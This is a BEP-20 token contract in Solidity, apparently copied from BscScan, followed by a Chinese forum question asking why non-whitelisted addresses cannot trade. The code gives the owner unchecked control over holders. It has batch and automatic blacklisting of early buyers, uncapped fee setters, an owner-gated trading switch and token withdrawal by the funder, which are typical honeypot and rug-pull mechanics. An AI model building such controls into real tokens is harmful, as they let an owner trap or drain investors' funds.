/**
 *Submitted for verification at BscScan.com on 2022-08-04
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor {
    constructor (address token) {
        IERC20(token).approve(msg.sender, uint(~uint256(0)));
        //IERC20(token2).approve(msg.sender, uint(~uint256(0)));
    }
}

abstract contract AbsToken is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;
    address public devAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 public kb = 0;
    uint256 public maxSellAmount;
    uint256 public maxBuyAmount;
    uint256 public walletLimit;
    bool public limitEnable = false;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _blackList;
    mapping (address => bool) public isMaxEatExempt;

    uint256 private _tTotal;

    ISwapRouter public _swapRouter;
    address public _fist;
    //address public _tau;

    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);
    TokenDistributor public _tokenDistributor;

    uint256 public _buyFundFee = 300;
    uint256 public _buyLPDividendFee = 100;
    uint256 public _sellLPDividendFee = 100;
    uint256 public _sellFundFee = 300;
    uint256 public _sellLPFee = 0;

    uint256 public goMoonBlock;

    address public _mainPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress, address FISTAddress,
        string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply,
        address FundAddress,address DevAddress, address ReceiveAddress
    ){
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;

        ISwapRouter swapRouter = ISwapRouter(RouterAddress);
        IERC20(FISTAddress).approve(address(swapRouter), MAX);
        //IERC20(TAUAddress).approve(address(swapRouter), MAX);

        _fist = FISTAddress;
        //_tau = TAUAddress;
        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), FISTAddress);
        _mainPair = swapPair;
        _swapPairList[swapPair] = true;

        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;

        maxBuyAmount = total;
        maxSellAmount = total;
        walletLimit =  total;

        _balances[ReceiveAddress] = total;
        emit Transfer(address(0), ReceiveAddress, total);

        fundAddress = FundAddress;
        devAddress = DevAddress;

        _feeWhiteList[FundAddress] = true;
        _feeWhiteList[DevAddress] = true;
        _feeWhiteList[ReceiveAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;

        isMaxEatExempt[msg.sender] = true;
        isMaxEatExempt[fundAddress] = true;
        isMaxEatExempt[devAddress] = true;
        isMaxEatExempt[ReceiveAddress] = true;
        isMaxEatExempt[address(swapRouter)] = true;
        isMaxEatExempt[address(_mainPair)] = true;
        isMaxEatExempt[address(this)] = true;
        isMaxEatExempt[address(0xdead)] = true;

        excludeHolder[address(0)] = true;
        excludeHolder[address(0x000000000000000000000000000000000000dEaD)] = true;

        holderRewardCondition = 10 * 10 ** IERC20(FISTAddress).decimals();
        //holderRewardCondition = 1;
        _tokenDistributor = new TokenDistributor(FISTAddress);
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMaxAmount(uint256 _maxBuyAmount,uint256 _maxSellAmount,uint256 _walletLimit) public onlyOwner{
        maxBuyAmount = _maxBuyAmount;
        maxSellAmount = _maxSellAmount;
        walletLimit = _walletLimit;
    }

    function setLimitEnable(bool status) public onlyOwner {
        limitEnable = status;
    }

    function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
        isMaxEatExempt[holder] = exempt;
    }

    function setkb(uint256 a) public onlyOwner{
        kb = a;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_blackList[from], "blackList");

        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            uint256 maxSAmount = balance * 9999 / 10000;
            if (amount > maxSAmount) {
                amount = maxSAmount;
            }
        }

        bool takeFee;
        bool isSell;

        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (0 == goMoonBlock) {
                    require(0 < goAddLPBlock && _swapPairList[to], "!goAddLP");
                }
                if (block.number < goMoonBlock + kb && !_swapPairList[to]) {
                    _blackList[to] = true;
                }

                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance > 0) {
                            uint256 swapFee = _buyFundFee + _buyLPDividendFee + _sellFundFee + _sellLPDividendFee + _sellLPFee;
                            uint256 numTokensSellToFund = amount * swapFee / 5000;
                            if (numTokensSellToFund > contractTokenBalance) {
                                numTokensSellToFund = contractTokenBalance;
                            }
                            swapTokenForFund(numTokensSellToFund, swapFee);
                        }
                    }
                }
                takeFee = true;
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);

        if (from != address(this)) {
            if (isSell) {
                addHolder(from);
            }
            processReward(500000);
        }
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 swapFee;
            if (isSell) {
                swapFee = _sellFundFee + _sellLPDividendFee + _sellLPFee;
                require(tAmount <= maxSellAmount,"over max sell amount");
            } else {
                swapFee = _buyFundFee + _buyLPDividendFee;
                require(tAmount <= maxBuyAmount,"over max buy amount");
            }

            uint256 swapAmount = tAmount * swapFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        if(!isMaxEatExempt[recipient] && limitEnable)
            require((balanceOf(recipient) + tAmount - feeAmount) <= walletLimit,"over max wallet limit");
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
        swapFee += swapFee;
        uint256 lpFee = _sellLPFee;
        uint256 lpAmount = tokenAmount * lpFee / swapFee;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _fist;
        //path[2] = _tau;
        _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount - lpAmount,
            0,
            path,
            address(_tokenDistributor),
            block.timestamp
        );

        swapFee -= lpFee;

        IERC20 FIST = IERC20(_fist);
        uint256 fistBalance = FIST.balanceOf(address(_tokenDistributor));
        uint256 fundAmount = fistBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee;
        uint256 fundAmount_A = fundAmount / 3 * 2;
        uint256 fundAmount_B = fundAmount - fundAmount_A;
        FIST.transferFrom(address(_tokenDistributor), fundAddress, fundAmount_A);
        FIST.transferFrom(address(_tokenDistributor), devAddress, fundAmount_B);

        FIST.transferFrom(address(_tokenDistributor), address(this), fistBalance - fundAmount);

        if (lpAmount > 0) {
            uint256 lpFist = fistBalance * lpFee / swapFee;
            if (lpFist > 0) {
                _swapRouter.addLiquidity(
                    address(this), _fist, lpAmount, lpFist, 0, 0, fundAddress, block.timestamp
                );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setFundAddress(address addr,address devAdd) external onlyFunder {
        fundAddress = addr;
        devAddress = devAdd;
        _feeWhiteList[addr] = true;
        _feeWhiteList[devAdd] = true;
    }

    function setBuyLPDividendFee(uint256 dividendFee) external onlyOwner {
        _buyLPDividendFee = dividendFee;
    }

    function setBuyFundFee(uint256 fundFee) external onlyOwner {
        _buyFundFee = fundFee;
    }

    function setSellLPDividendFee(uint256 dividendFee) external onlyOwner {
        _sellLPDividendFee = dividendFee;
    }

    function setSellFundFee(uint256 fundFee) external onlyOwner {
        _sellFundFee = fundFee;
    }

    uint256 public goAddLPBlock;

    function goAddLP() external onlyOwner {
        require(0 == goAddLPBlock, "startedAddLP");
        goAddLPBlock = block.number;
    }

    function returnAddLP() external onlyOwner {
        goAddLPBlock = 0;
    }

    function goMoon() external onlyOwner {
        require(0 == goMoonBlock, "trading");
        goMoonBlock = block.number;
    }

    function returnMoon() external onlyOwner {
        goMoonBlock = 0;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyFunder {
        _feeWhiteList[addr] = enable;
    }

    function setBlackList(address addr, bool enable) external onlyOwner {
        _blackList[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyFunder {
        _swapPairList[addr] = enable;
    }

    function claimBalance() external {
        payable(fundAddress).transfer(address(this).balance);
    }

    function claimToken(address token, uint256 amount, address to) external onlyFunder {
        IERC20(token).transfer(to, amount);
    }

    modifier onlyFunder() {
        require(fundAddress == msg.sender || _owner == msg.sender, "!Funder");
        _;
    }

    receive() external payable {}

    address[] private holders;
    mapping(address => uint256) holderIndex;
    mapping(address => bool) excludeHolder;

    function addHolder(address adr) private {
        uint256 size;
        assembly {size := extcodesize(adr)}
        if (size > 0) {
            return;
        }
        if (0 == holderIndex[adr]) {
            if (0 == holders.length || holders[0] != adr) {
                holderIndex[adr] = holders.length;
                holders.push(adr);
            }
        }
    }

    function manage_wl(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _feeWhiteList[addresses[i]] = status;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
        require(addresses.length < 2001);
        uint256 SCCC = amount * addresses.length;
        require(balanceOf(msg.sender) >= SCCC);
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(msg.sender,addresses[i],amount);
        }
    }

    function manage_bl(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _blackList[addresses[i]] = status;
        }
    }

    uint256 private currentIndex;
    uint256 private holderRewardCondition;
    uint256 private progressRewardBlock;

    function processReward(uint256 gas) private {
        if (progressRewardBlock + 2400 > block.number) {
            return;
        }

        IERC20 FIST = IERC20(_fist);

        uint256 balance = FIST.balanceOf(address(this));
        if (balance < holderRewardCondition) {
            return;
        }

        IERC20 holdToken = IERC20(_mainPair);
        uint holdTokenTotal = holdToken.totalSupply();

        address shareHolder;
        uint256 tokenBalance;
        uint256 amount;

        uint256 shareholderCount = holders.length;

        uint256 gasUsed = 0;
        uint256 iterations = 0;
        uint256 gasLeft = gasleft();

        while (gasUsed < gas && iterations < shareholderCount) {
            if (currentIndex >= shareholderCount) {
                currentIndex = 0;
            }
            shareHolder = holders[currentIndex];
            tokenBalance = holdToken.balanceOf(shareHolder);
            if (tokenBalance > 0 && !excludeHolder[shareHolder]) {
                amount = balance * tokenBalance / holdTokenTotal;
                if (amount > 0) {
                    FIST.transfer(shareHolder, amount);
                }
            }

            gasUsed = gasUsed + (gasLeft - gasleft());
            gasLeft = gasleft();
            currentIndex++;
            iterations++;
        }

        progressRewardBlock = block.number;
    }

    function setHolderRewardCondition(uint256 amount) external onlyFunder {
        holderRewardCondition = amount;
    }

    function setExcludeHolder(address addr, bool enable) external onlyFunder {
        excludeHolder[addr] = enable;
    }
}

contract SP is AbsToken {
    constructor() AbsToken(
        address(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3),//测试薄饼合约地址Pancake
        address(0xB69b48c647b1Dc2c4E36C6ACD187d296eae452EE),//自己发的USDT代币

        "superpay",//Name
        "SP",//Symbol
        6,//Decimals
        100000000000000,//Supply
        address(0x58a1Cc06A692767e3Da67c95c9b451eC9576708C),//FundAddress
        address(0x5A56B4741d45cC4d4324f2eD9A8d1e2cA65B72A8),//DEVAddress
        address(0xA31274f32d1299Eac61B8158dFf358f19264163D)//ReceiveAddress
    ){
    }
}

请大神指教 为什么这个合约代码发布成功之后用白名单里面的地址可以正常交易，但是不在白名单里面的地址 就交易不了？